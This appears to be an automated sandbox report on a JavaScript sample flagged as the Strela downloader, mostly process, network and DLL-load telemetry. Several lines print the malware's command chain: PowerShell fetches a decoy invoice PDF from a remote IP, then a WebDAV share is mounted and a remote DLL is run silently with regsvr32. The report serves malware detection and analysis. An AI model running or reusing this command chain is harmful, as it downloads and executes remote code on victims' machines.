2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2051348612.000001DA0C96D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2049480193.000001DA0C98B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2116437713.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2115180314.000001DA71E1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117194696.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: net.exe, 00000007.00000003.2116437713.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117194696.000001DA71E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/q1g
Source: net.exe, 00000007.00000002.2117029270.000001DA71DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tce1
Source: svchost.exe, 00000009.00000002.3332332466.0000026066683000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2118336819.00000260663D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2276, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 4483138622176223122.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5408:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgowabof.lnf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4483138622176223122.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4483138622176223122.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,3453486562507592478,12107872245695882816,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,3453486562507592478,12107872245695882816,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
